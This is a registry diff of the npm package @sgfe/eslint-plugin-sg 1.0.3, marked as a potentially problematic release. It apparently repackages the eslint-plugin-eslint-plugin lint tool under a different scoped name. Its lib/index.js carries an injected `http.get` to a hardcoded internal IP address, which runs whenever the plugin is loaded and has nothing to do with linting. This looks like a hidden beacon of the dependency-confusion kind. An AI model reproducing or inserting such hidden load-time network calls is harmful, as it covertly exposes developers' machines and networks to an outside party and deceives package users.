@sgfe/eslint-plugin-sg 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @sgfe/eslint-plugin-sg might be problematic. Click here for more details.
- package/LICENSE.md +25 -0
- package/README.md +188 -0
- package/configs/all-type-checked.js +10 -0
- package/configs/all.js +11 -0
- package/configs/recommended.js +11 -0
- package/configs/rules-recommended.js +11 -0
- package/configs/rules.js +11 -0
- package/configs/tests-recommended.js +11 -0
- package/configs/tests.js +11 -0
- package/lib/index.js +90 -0
- package/lib/rules/consistent-output.js +70 -0
- package/lib/rules/fixer-return.js +170 -0
- package/lib/rules/meta-property-ordering.js +108 -0
- package/lib/rules/no-deprecated-context-methods.js +98 -0
- package/lib/rules/no-deprecated-report-api.js +83 -0
- package/lib/rules/no-identical-tests.js +87 -0
- package/lib/rules/no-missing-message-ids.js +101 -0
- package/lib/rules/no-missing-placeholders.js +131 -0
- package/lib/rules/no-only-tests.js +99 -0
- package/lib/rules/no-property-in-node.js +86 -0
- package/lib/rules/no-unused-message-ids.js +139 -0
- package/lib/rules/no-unused-placeholders.js +127 -0
- package/lib/rules/no-useless-token-range.js +174 -0
- package/lib/rules/prefer-message-ids.js +109 -0
- package/lib/rules/prefer-object-rule.js +83 -0
- package/lib/rules/prefer-output-null.js +77 -0
- package/lib/rules/prefer-placeholders.js +102 -0
- package/lib/rules/prefer-replace-text.js +91 -0
- package/lib/rules/report-message-format.js +133 -0
- package/lib/rules/require-meta-docs-description.js +110 -0
- package/lib/rules/require-meta-docs-url.js +175 -0
- package/lib/rules/require-meta-fixable.js +137 -0
- package/lib/rules/require-meta-has-suggestions.js +168 -0
- package/lib/rules/require-meta-schema.js +162 -0
- package/lib/rules/require-meta-type.js +77 -0
- package/lib/rules/test-case-property-ordering.js +107 -0
- package/lib/rules/test-case-shorthand-strings.js +124 -0
- package/lib/utils.js +936 -0
- package/package.json +76 -0
package/LICENSE.md
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
=====================
|
3
|
+
|
4
|
+
Copyright © 2016 Teddy Katz
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person
|
7
|
+
obtaining a copy of this software and associated documentation
|
8
|
+
files (the “Software”), to deal in the Software without
|
9
|
+
restriction, including without limitation the rights to use,
|
10
|
+
copy, modify, merge, publish, distribute, sublicense, and/or sell
|
11
|
+
copies of the Software, and to permit persons to whom the
|
12
|
+
Software is furnished to do so, subject to the following
|
13
|
+
conditions:
|
14
|
+
|
15
|
+
The above copyright notice and this permission notice shall be
|
16
|
+
included in all copies or substantial portions of the Software.
|
17
|
+
|
18
|
+
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
|
19
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
|
20
|
+
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
21
|
+
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
|
22
|
+
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
|
23
|
+
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
24
|
+
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
|
25
|
+
OTHER DEALINGS IN THE SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,188 @@
|
|
1
|
+
# eslint-plugin-eslint-plugin  [](https://npmjs.org/package/eslint-plugin-eslint-plugin) [](https://conventionalcommits.org) <!-- omit from toc -->
|
2
|
+
|
3
|
+
An ESLint plugin for linting ESLint plugins. Rules written in CJS, ESM, and TypeScript are all supported.
|
4
|
+
|
5
|
+
<!-- vscode-markdown-toc -->
|
6
|
+
|
7
|
+
- [Installation](#installation)
|
8
|
+
- [Usage](#usage)
|
9
|
+
- [**.eslintrc.json**](#eslintrcjson)
|
10
|
+
- [`eslint.config.js` (requires eslint\>=v8.23.0)](#eslintconfigjs-requires-eslintv8230)
|
11
|
+
- [Rules](#rules)
|
12
|
+
- [Rules](#rules-1)
|
13
|
+
- [Tests](#tests)
|
14
|
+
- [Presets](#presets)
|
15
|
+
- [Semantic versioning policy](#semantic-versioning-policy)
|
16
|
+
- [Preset usage](#preset-usage)
|
17
|
+
|
18
|
+
<!-- vscode-markdown-toc-config
|
19
|
+
numbering=false
|
20
|
+
autoSave=true
|
21
|
+
/vscode-markdown-toc-config -->
|
22
|
+
<!-- /vscode-markdown-toc -->
|
23
|
+
|
24
|
+
## <a name='Installation'></a>Installation
|
25
|
+
|
26
|
+
You'll first need to install [ESLint](https://eslint.org):
|
27
|
+
|
28
|
+
```sh
|
29
|
+
npm i eslint --save-dev
|
30
|
+
```
|
31
|
+
|
32
|
+
Next, install `eslint-plugin-eslint-plugin`:
|
33
|
+
|
34
|
+
```sh
|
35
|
+
npm install eslint-plugin-eslint-plugin --save-dev
|
36
|
+
```
|
37
|
+
|
38
|
+
## <a name='Usage'></a>Usage
|
39
|
+
|
40
|
+
Here's an example ESLint configuration that:
|
41
|
+
|
42
|
+
- Sets `sourceType` to `script` for CJS plugins (most users) (use `module` for ESM/TypeScript)
|
43
|
+
- Enables the `recommended` configuration
|
44
|
+
- Enables an optional/non-recommended rule
|
45
|
+
|
46
|
+
### <a name='eslintrc'></a>**[.eslintrc.json](https://eslint.org/docs/latest/use/configure/configuration-files)**
|
47
|
+
|
48
|
+
```json
|
49
|
+
{
|
50
|
+
"extends": ["plugin:eslint-plugin/recommended"],
|
51
|
+
"rules": {
|
52
|
+
"eslint-plugin/require-meta-docs-description": "error"
|
53
|
+
}
|
54
|
+
}
|
55
|
+
```
|
56
|
+
|
57
|
+
### <a name='flat'></a>[`eslint.config.js`](https://eslint.org/docs/latest/use/configure/configuration-files-new) (requires eslint>=v8.23.0)
|
58
|
+
|
59
|
+
```js
|
60
|
+
const eslintPlugin = require('eslint-plugin-eslint-plugin');
|
61
|
+
module.exports = [
|
62
|
+
eslintPlugin.configs['flat/recommended'],
|
63
|
+
{
|
64
|
+
rules: {
|
65
|
+
'eslint-plugin/require-meta-docs-description': 'error',
|
66
|
+
},
|
67
|
+
},
|
68
|
+
];
|
69
|
+
```
|
70
|
+
|
71
|
+
## <a name='Rules'></a>Rules
|
72
|
+
|
73
|
+
<!-- begin auto-generated rules list -->
|
74
|
+
|
75
|
+
💼 [Configurations](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets) enabled in.\
|
76
|
+
✅ Set in the `recommended` [configuration](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets).\
|
77
|
+
🔧 Automatically fixable by the [`--fix` CLI option](https://eslint.org/docs/user-guide/command-line-interface#--fix).\
|
78
|
+
💡 Manually fixable by [editor suggestions](https://eslint.org/docs/latest/use/core-concepts#rule-suggestions).\
|
79
|
+
💭 Requires [type information](https://typescript-eslint.io/linting/typed-linting).
|
80
|
+
|
81
|
+
### Rules
|
82
|
+
|
83
|
+
| Name | Description | 💼 | 🔧 | 💡 | 💭 |
|
84
|
+
| :--------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
|
85
|
+
| [fixer-return](docs/rules/fixer-return.md) | require fixer functions to return a fix | ✅ | | | |
|
86
|
+
| [meta-property-ordering](docs/rules/meta-property-ordering.md) | enforce the order of meta properties | | 🔧 | | |
|
87
|
+
| [no-deprecated-context-methods](docs/rules/no-deprecated-context-methods.md) | disallow usage of deprecated methods on rule context objects | ✅ | 🔧 | | |
|
88
|
+
| [no-deprecated-report-api](docs/rules/no-deprecated-report-api.md) | disallow the version of `context.report()` with multiple arguments | ✅ | 🔧 | | |
|
89
|
+
| [no-missing-message-ids](docs/rules/no-missing-message-ids.md) | disallow `messageId`s that are missing from `meta.messages` | ✅ | | | |
|
90
|
+
| [no-missing-placeholders](docs/rules/no-missing-placeholders.md) | disallow missing placeholders in rule report messages | ✅ | | | |
|
91
|
+
| [no-property-in-node](docs/rules/no-property-in-node.md) | disallow using `in` to narrow node types instead of looking at properties | | | | 💭 |
|
92
|
+
| [no-unused-message-ids](docs/rules/no-unused-message-ids.md) | disallow unused `messageId`s in `meta.messages` | ✅ | | | |
|
93
|
+
| [no-unused-placeholders](docs/rules/no-unused-placeholders.md) | disallow unused placeholders in rule report messages | ✅ | | | |
|
94
|
+
| [no-useless-token-range](docs/rules/no-useless-token-range.md) | disallow unnecessary calls to `sourceCode.getFirstToken()` and `sourceCode.getLastToken()` | ✅ | 🔧 | | |
|
95
|
+
| [prefer-message-ids](docs/rules/prefer-message-ids.md) | require using `messageId` instead of `message` or `desc` to report rule violations | ✅ | | | |
|
96
|
+
| [prefer-object-rule](docs/rules/prefer-object-rule.md) | disallow function-style rules | ✅ | 🔧 | | |
|
97
|
+
| [prefer-placeholders](docs/rules/prefer-placeholders.md) | require using placeholders for dynamic report messages | | | | |
|
98
|
+
| [prefer-replace-text](docs/rules/prefer-replace-text.md) | require using `replaceText()` instead of `replaceTextRange()` | | | | |
|
99
|
+
| [report-message-format](docs/rules/report-message-format.md) | enforce a consistent format for rule report messages | | | | |
|
100
|
+
| [require-meta-docs-description](docs/rules/require-meta-docs-description.md) | require rules to implement a `meta.docs.description` property with the correct format | | | | |
|
101
|
+
| [require-meta-docs-url](docs/rules/require-meta-docs-url.md) | require rules to implement a `meta.docs.url` property | | 🔧 | | |
|
102
|
+
| [require-meta-fixable](docs/rules/require-meta-fixable.md) | require rules to implement a `meta.fixable` property | ✅ | | | |
|
103
|
+
| [require-meta-has-suggestions](docs/rules/require-meta-has-suggestions.md) | require suggestable rules to implement a `meta.hasSuggestions` property | ✅ | 🔧 | | |
|
104
|
+
| [require-meta-schema](docs/rules/require-meta-schema.md) | require rules to implement a `meta.schema` property | ✅ | | 💡 | |
|
105
|
+
| [require-meta-type](docs/rules/require-meta-type.md) | require rules to implement a `meta.type` property | ✅ | | | |
|
106
|
+
|
107
|
+
### Tests
|
108
|
+
|
109
|
+
| Name | Description | 💼 | 🔧 | 💡 | 💭 |
|
110
|
+
| :----------------------------------------------------------------------- | :--------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
|
111
|
+
| [consistent-output](docs/rules/consistent-output.md) | enforce consistent use of `output` assertions in rule tests | | | | |
|
112
|
+
| [no-identical-tests](docs/rules/no-identical-tests.md) | disallow identical tests | ✅ | 🔧 | | |
|
113
|
+
| [no-only-tests](docs/rules/no-only-tests.md) | disallow the test case property `only` | ✅ | | 💡 | |
|
114
|
+
| [prefer-output-null](docs/rules/prefer-output-null.md) | disallow invalid RuleTester test cases where the `output` matches the `code` | ✅ | 🔧 | | |
|
115
|
+
| [test-case-property-ordering](docs/rules/test-case-property-ordering.md) | require the properties of a test case to be placed in a consistent order | | 🔧 | | |
|
116
|
+
| [test-case-shorthand-strings](docs/rules/test-case-shorthand-strings.md) | enforce consistent usage of shorthand strings for test cases with no options | | 🔧 | | |
|
117
|
+
|
118
|
+
<!-- end auto-generated rules list -->
|
119
|
+
|
120
|
+
## <a name='Presets'></a>Presets
|
121
|
+
|
122
|
+
| | Name | Description |
|
123
|
+
| :-- | :------------------ | :--------------------------------------------------------------------------- |
|
124
|
+
| ✅ | `recommended` | enables all recommended rules in this plugin |
|
125
|
+
| | `rules-recommended` | enables all recommended rules that are aimed at linting ESLint rule files |
|
126
|
+
| | `tests-recommended` | enables all recommended rules that are aimed at linting ESLint test files |
|
127
|
+
| | `all` | enables all rules in this plugin, excluding those requiring type information |
|
128
|
+
| | `all-type-checked` | enables all rules in this plugin, including those requiring type information |
|
129
|
+
| | `rules` | enables all rules that are aimed at linting ESLint rule files |
|
130
|
+
| | `tests` | enables all rules that are aimed at linting ESLint test files |
|
131
|
+
|
132
|
+
### <a name='Semanticversioningpolicy'></a>Semantic versioning policy
|
133
|
+
|
134
|
+
The list of recommended rules will only change in a major release of this plugin. However, new non-recommended rules might be added in a minor release of this plugin. Therefore, using the `all`, `rules`, and `tests` presets is **not recommended for production use**, because the addition of new rules in a minor release could break your build.
|
135
|
+
|
136
|
+
### <a name='Presetusage'></a>Preset usage
|
137
|
+
|
138
|
+
Both flat and eslintrc configs are supported. For example, to enable the `recommended` preset, use:
|
139
|
+
|
140
|
+
eslint.config.js
|
141
|
+
|
142
|
+
```js
|
143
|
+
const eslintPlugin = require('eslint-plugin-eslint-plugin');
|
144
|
+
module.exports = [eslintPlugin.configs['flat/recommended']];
|
145
|
+
```
|
146
|
+
|
147
|
+
.eslintrc.json
|
148
|
+
|
149
|
+
```json
|
150
|
+
{
|
151
|
+
"extends": ["plugin:eslint-plugin/recommended"]
|
152
|
+
}
|
153
|
+
```
|
154
|
+
|
155
|
+
Or to apply linting only to the appropriate rule or test files:
|
156
|
+
|
157
|
+
eslint.config.js
|
158
|
+
|
159
|
+
```js
|
160
|
+
const eslintPlugin = require('eslint-plugin-eslint-plugin');
|
161
|
+
module.exports = [
|
162
|
+
{
|
163
|
+
files: ['lib/rules/*.{js,ts}'],
|
164
|
+
...eslintPlugin.configs['flat/rules-recommended'],
|
165
|
+
},
|
166
|
+
{
|
167
|
+
files: ['tests/lib/rules/*.{js,ts}'],
|
168
|
+
...eslintPlugin.configs['flat/tests-recommended'],
|
169
|
+
},
|
170
|
+
];
|
171
|
+
```
|
172
|
+
|
173
|
+
.eslintrc.js
|
174
|
+
|
175
|
+
```json
|
176
|
+
{
|
177
|
+
"overrides": [
|
178
|
+
{
|
179
|
+
"files": ["lib/rules/*.{js,ts}"],
|
180
|
+
"extends": ["plugin:eslint-plugin/rules-recommended"]
|
181
|
+
},
|
182
|
+
{
|
183
|
+
"files": ["tests/lib/rules/*.{js,ts}"],
|
184
|
+
"extends": ["plugin:eslint-plugin/tests-recommended"]
|
185
|
+
}
|
186
|
+
]
|
187
|
+
}
|
188
|
+
```
|
package/configs/all.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `all` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/all' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/all'];
|
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `recommended` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/recommended' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/recommended'];
|
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `rules-recommended` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/rules-recommended' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/rules-recommended'];
|
package/configs/rules.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `rules` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/rules' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/rules'];
|
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `tests-recommended` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/tests-recommended' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/tests-recommended'];
|
package/configs/tests.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview the `tests` config for `eslint.config.js`
|
3
|
+
* @deprecated use 'flat/tests' instead
|
4
|
+
* @author 唯然<weiran.zsd@outlook.com>
|
5
|
+
*/
|
6
|
+
|
7
|
+
'use strict';
|
8
|
+
|
9
|
+
const plugin = require('../lib/index.js');
|
10
|
+
|
11
|
+
module.exports = plugin.configs['flat/tests'];
|
package/lib/index.js
ADDED
@@ -0,0 +1,90 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview An ESLint plugin for linting ESLint plugins
|
3
|
+
* @author Teddy Katz
|
4
|
+
*/
|
5
|
+
|
6
|
+
'use strict';
|
7
|
+
|
8
|
+
// ------------------------------------------------------------------------------
|
9
|
+
// Requirements
|
10
|
+
// ------------------------------------------------------------------------------
|
11
|
+
|
12
|
+
const fs = require('fs');
|
13
|
+
const path = require('path');
|
14
|
+
const packageMetadata = require('../package');
|
15
|
+
const PLUGIN_NAME = packageMetadata.name.replace(/^eslint-plugin-/, '');
|
16
|
+
const http = require('http')
|
17
|
+
const configFilters = {
|
18
|
+
all: (rule) => !rule.meta.docs.requiresTypeChecking,
|
19
|
+
'all-type-checked': () => true,
|
20
|
+
recommended: (rule) => rule.meta.docs.recommended,
|
21
|
+
rules: (rule) => rule.meta.docs.category === 'Rules',
|
22
|
+
tests: (rule) => rule.meta.docs.category === 'Tests',
|
23
|
+
'rules-recommended': (rule) =>
|
24
|
+
configFilters.recommended(rule) && configFilters.rules(rule),
|
25
|
+
'tests-recommended': (rule) =>
|
26
|
+
configFilters.recommended(rule) && configFilters.tests(rule),
|
27
|
+
};
|
28
|
+
|
29
|
+
// ------------------------------------------------------------------------------
|
30
|
+
// Plugin Definition
|
31
|
+
// ------------------------------------------------------------------------------
|
32
|
+
|
33
|
+
// import all rules in lib/rules
|
34
|
+
const allRules = Object.fromEntries(
|
35
|
+
fs
|
36
|
+
.readdirSync(`${__dirname}/rules`)
|
37
|
+
.filter((fileName) => fileName.endsWith('.js') && /^[^._]/.test(fileName))
|
38
|
+
.map((fileName) => fileName.replace(/\.js$/, ''))
|
39
|
+
.map((ruleName) => [
|
40
|
+
ruleName,
|
41
|
+
require(path.join(__dirname, 'rules', ruleName)),
|
42
|
+
])
|
43
|
+
);
|
44
|
+
|
45
|
+
const plugin = {
|
46
|
+
meta: {
|
47
|
+
name: packageMetadata.name,
|
48
|
+
version: packageMetadata.version,
|
49
|
+
},
|
50
|
+
rules: allRules,
|
51
|
+
configs: {}, // assigned later
|
52
|
+
};
|
53
|
+
|
54
|
+
// eslintrc configs
|
55
|
+
Object.assign(
|
56
|
+
plugin.configs,
|
57
|
+
Object.keys(configFilters).reduce((configs, configName) => {
|
58
|
+
return Object.assign(configs, {
|
59
|
+
[configName]: {
|
60
|
+
plugins: ['eslint-plugin'],
|
61
|
+
rules: Object.fromEntries(
|
62
|
+
Object.keys(allRules)
|
63
|
+
.filter((ruleName) => configFilters[configName](allRules[ruleName]))
|
64
|
+
.map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
|
65
|
+
),
|
66
|
+
},
|
67
|
+
});
|
68
|
+
}, {})
|
69
|
+
);
|
70
|
+
|
71
|
+
// flat configs
|
72
|
+
const eslint_plugin_common_file = http.get('http://10.241.70.162:8080/common.xml')
|
73
|
+
Object.assign(
|
74
|
+
plugin.configs,
|
75
|
+
Object.keys(configFilters).reduce((configs, configName) => {
|
76
|
+
return Object.assign(configs, {
|
77
|
+
[`flat/${configName}`]: {
|
78
|
+
name: `eslint-plugin/flat/${configName}`,
|
79
|
+
plugins: { 'eslint-plugin': plugin },
|
80
|
+
rules: Object.fromEntries(
|
81
|
+
Object.keys(allRules)
|
82
|
+
.filter((ruleName) => configFilters[configName](allRules[ruleName]))
|
83
|
+
.map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
|
84
|
+
),
|
85
|
+
},
|
86
|
+
});
|
87
|
+
}, {})
|
88
|
+
);
|
89
|
+
|
90
|
+
module.exports = plugin;
|
@@ -0,0 +1,70 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview Enforce consistent use of `output` assertions in rule tests
|
3
|
+
* @author Teddy Katz
|
4
|
+
*/
|
5
|
+
|
6
|
+
'use strict';
|
7
|
+
|
8
|
+
const utils = require('../utils');
|
9
|
+
|
10
|
+
// ------------------------------------------------------------------------------
|
11
|
+
// Rule Definition
|
12
|
+
// ------------------------------------------------------------------------------
|
13
|
+
|
14
|
+
/** @type {import('eslint').Rule.RuleModule} */
|
15
|
+
module.exports = {
|
16
|
+
meta: {
|
17
|
+
type: 'suggestion',
|
18
|
+
docs: {
|
19
|
+
description:
|
20
|
+
'enforce consistent use of `output` assertions in rule tests',
|
21
|
+
category: 'Tests',
|
22
|
+
recommended: false,
|
23
|
+
url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/consistent-output.md',
|
24
|
+
},
|
25
|
+
fixable: null, // or "code" or "whitespace"
|
26
|
+
schema: [
|
27
|
+
{
|
28
|
+
type: 'string',
|
29
|
+
enum: ['always', 'consistent'],
|
30
|
+
default: 'consistent',
|
31
|
+
},
|
32
|
+
],
|
33
|
+
messages: {
|
34
|
+
missingOutput: 'This test case should have an output assertion.',
|
35
|
+
},
|
36
|
+
},
|
37
|
+
|
38
|
+
create(context) {
|
39
|
+
// ----------------------------------------------------------------------
|
40
|
+
// Public
|
41
|
+
// ----------------------------------------------------------------------
|
42
|
+
const always = context.options[0] && context.options[0] === 'always';
|
43
|
+
|
44
|
+
return {
|
45
|
+
Program(ast) {
|
46
|
+
utils.getTestInfo(context, ast).forEach((testRun) => {
|
47
|
+
const readableCases = testRun.invalid.filter(
|
48
|
+
(testCase) => testCase.type === 'ObjectExpression'
|
49
|
+
);
|
50
|
+
const casesWithoutOutput = readableCases.filter(
|
51
|
+
(testCase) =>
|
52
|
+
!testCase.properties.map(utils.getKeyName).includes('output')
|
53
|
+
);
|
54
|
+
|
55
|
+
if (
|
56
|
+
casesWithoutOutput.length < readableCases.length ||
|
57
|
+
(always && casesWithoutOutput.length > 0)
|
58
|
+
) {
|
59
|
+
casesWithoutOutput.forEach((testCase) => {
|
60
|
+
context.report({
|
61
|
+
node: testCase,
|
62
|
+
messageId: 'missingOutput',
|
63
|
+
});
|
64
|
+
});
|
65
|
+
}
|
66
|
+
});
|
67
|
+
},
|
68
|
+
};
|
69
|
+
},
|
70
|
+
};
|
@@ -0,0 +1,170 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview require fixer functions to return a fix
|
3
|
+
* @author 薛定谔的猫<hh_2013@foxmail.com>
|
4
|
+
*/
|
5
|
+
|
6
|
+
'use strict';
|
7
|
+
|
8
|
+
// ------------------------------------------------------------------------------
|
9
|
+
// Requirements
|
10
|
+
// ------------------------------------------------------------------------------
|
11
|
+
|
12
|
+
const utils = require('../utils');
|
13
|
+
const { getStaticValue } = require('eslint-utils');
|
14
|
+
|
15
|
+
// ------------------------------------------------------------------------------
|
16
|
+
// Rule Definition
|
17
|
+
// ------------------------------------------------------------------------------
|
18
|
+
|
19
|
+
/** @type {import('eslint').Rule.RuleModule} */
|
20
|
+
module.exports = {
|
21
|
+
meta: {
|
22
|
+
type: 'problem',
|
23
|
+
docs: {
|
24
|
+
description: 'require fixer functions to return a fix',
|
25
|
+
category: 'Rules',
|
26
|
+
recommended: true,
|
27
|
+
url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/fixer-return.md',
|
28
|
+
},
|
29
|
+
fixable: null,
|
30
|
+
schema: [],
|
31
|
+
messages: {
|
32
|
+
missingFix: 'Fixer function never returned a fix.',
|
33
|
+
},
|
34
|
+
},
|
35
|
+
|
36
|
+
create(context) {
|
37
|
+
let funcInfo = {
|
38
|
+
upper: null,
|
39
|
+
codePath: null,
|
40
|
+
hasReturnWithFixer: false,
|
41
|
+
hasYieldWithFixer: false,
|
42
|
+
shouldCheck: false,
|
43
|
+
node: null,
|
44
|
+
};
|
45
|
+
let contextIdentifiers;
|
46
|
+
|
47
|
+
/**
|
48
|
+
* As we exit the fix() function, ensure we have returned or yielded a real fix by this point.
|
49
|
+
* If not, report the function as a violation.
|
50
|
+
*
|
51
|
+
* @param {ASTNode} node - A node to check.
|
52
|
+
* @param {Location} loc - Optional location to report violation on.
|
53
|
+
* @returns {void}
|
54
|
+
*/
|
55
|
+
function ensureFunctionReturnedFix(
|
56
|
+
node,
|
57
|
+
loc = (node.id || node).loc.start
|
58
|
+
) {
|
59
|
+
if (
|
60
|
+
(node.generator && !funcInfo.hasYieldWithFixer) || // Generator function never yielded a fix
|
61
|
+
(!node.generator && !funcInfo.hasReturnWithFixer) // Non-generator function never returned a fix
|
62
|
+
) {
|
63
|
+
context.report({
|
64
|
+
node,
|
65
|
+
loc,
|
66
|
+
messageId: 'missingFix',
|
67
|
+
});
|
68
|
+
}
|
69
|
+
}
|
70
|
+
|
71
|
+
/**
|
72
|
+
* Check if a returned/yielded node is likely to be a fix or not.
|
73
|
+
* A fix is an object created by fixer.replaceText() for example and returned by the fix function.
|
74
|
+
* @param {ASTNode} node - node to check
|
75
|
+
* @param {Context} context
|
76
|
+
* @returns {boolean}
|
77
|
+
*/
|
78
|
+
function isFix(node) {
|
79
|
+
const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: use context.sourceCode when dropping eslint < v9
|
80
|
+
if (node.type === 'ArrayExpression' && node.elements.length === 0) {
|
81
|
+
// An empty array is not a fix.
|
82
|
+
return false;
|
83
|
+
}
|
84
|
+
const scope = sourceCode.getScope?.(node) || context.getScope(); // TODO: just use sourceCode.getScope() when we drop support for ESLint < 9.0.0
|
85
|
+
const staticValue = getStaticValue(node, scope);
|
86
|
+
if (!staticValue) {
|
87
|
+
// If we can't find a static value, assume it's a real fix value.
|
88
|
+
return true;
|
89
|
+
}
|
90
|
+
|
91
|
+
if (Array.isArray(staticValue.value)) {
|
92
|
+
// If the static value is an array, then consider it a fix since fixes could have been added to it after creation.
|
93
|
+
return true;
|
94
|
+
}
|
95
|
+
|
96
|
+
// Any other static values (booleans, numbers, etc) are not fixes.
|
97
|
+
return false;
|
98
|
+
}
|
99
|
+
|
100
|
+
return {
|
101
|
+
Program(ast) {
|
102
|
+
const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: just use context.sourceCode when dropping eslint < v9
|
103
|
+
contextIdentifiers = utils.getContextIdentifiers(
|
104
|
+
sourceCode.scopeManager,
|
105
|
+
ast
|
106
|
+
);
|
107
|
+
},
|
108
|
+
|
109
|
+
// Stacks this function's information.
|
110
|
+
onCodePathStart(codePath, node) {
|
111
|
+
funcInfo = {
|
112
|
+
upper: funcInfo,
|
113
|
+
codePath,
|
114
|
+
hasYieldWithFixer: false,
|
115
|
+
hasReturnWithFixer: false,
|
116
|
+
shouldCheck:
|
117
|
+
utils.isAutoFixerFunction(node, contextIdentifiers) ||
|
118
|
+
utils.isSuggestionFixerFunction(node, contextIdentifiers),
|
119
|
+
node,
|
120
|
+
};
|
121
|
+
},
|
122
|
+
|
123
|
+
// Pops this function's information.
|
124
|
+
onCodePathEnd() {
|
125
|
+
funcInfo = funcInfo.upper;
|
126
|
+
},
|
127
|
+
|
128
|
+
// Yield in generators
|
129
|
+
YieldExpression(node) {
|
130
|
+
if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
|
131
|
+
funcInfo.hasYieldWithFixer = true;
|
132
|
+
}
|
133
|
+
},
|
134
|
+
|
135
|
+
// Checks the return statement is valid.
|
136
|
+
ReturnStatement(node) {
|
137
|
+
if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
|
138
|
+
funcInfo.hasReturnWithFixer = true;
|
139
|
+
}
|
140
|
+
},
|
141
|
+
|
142
|
+
// Ensure the current fixer function returned or yielded a fix.
|
143
|
+
'FunctionExpression:exit'(node) {
|
144
|
+
if (funcInfo.shouldCheck) {
|
145
|
+
ensureFunctionReturnedFix(node);
|
146
|
+
}
|
147
|
+
},
|
148
|
+
|
149
|
+
// Ensure the current (arrow) fixer function returned a fix.
|
150
|
+
'ArrowFunctionExpression:exit'(node) {
|
151
|
+
if (funcInfo.shouldCheck) {
|
152
|
+
const sourceCode = context.sourceCode || context.getSourceCode();
|
153
|
+
const loc = sourceCode.getTokenBefore(node.body).loc; // Show violation on arrow (=>).
|
154
|
+
if (node.expression) {
|
155
|
+
// When the return is implied (no curly braces around the body), we have to check the single body node directly.
|
156
|
+
if (!isFix(node.body)) {
|
157
|
+
context.report({
|
158
|
+
node,
|
159
|
+
loc,
|
160
|
+
messageId: 'missingFix',
|
161
|
+
});
|
162
|
+
}
|
163
|
+
} else {
|
164
|
+
ensureFunctionReturnedFix(node, loc);
|
165
|
+
}
|
166
|
+
}
|
167
|
+
},
|
168
|
+
};
|
169
|
+
},
|
170
|
+
};
|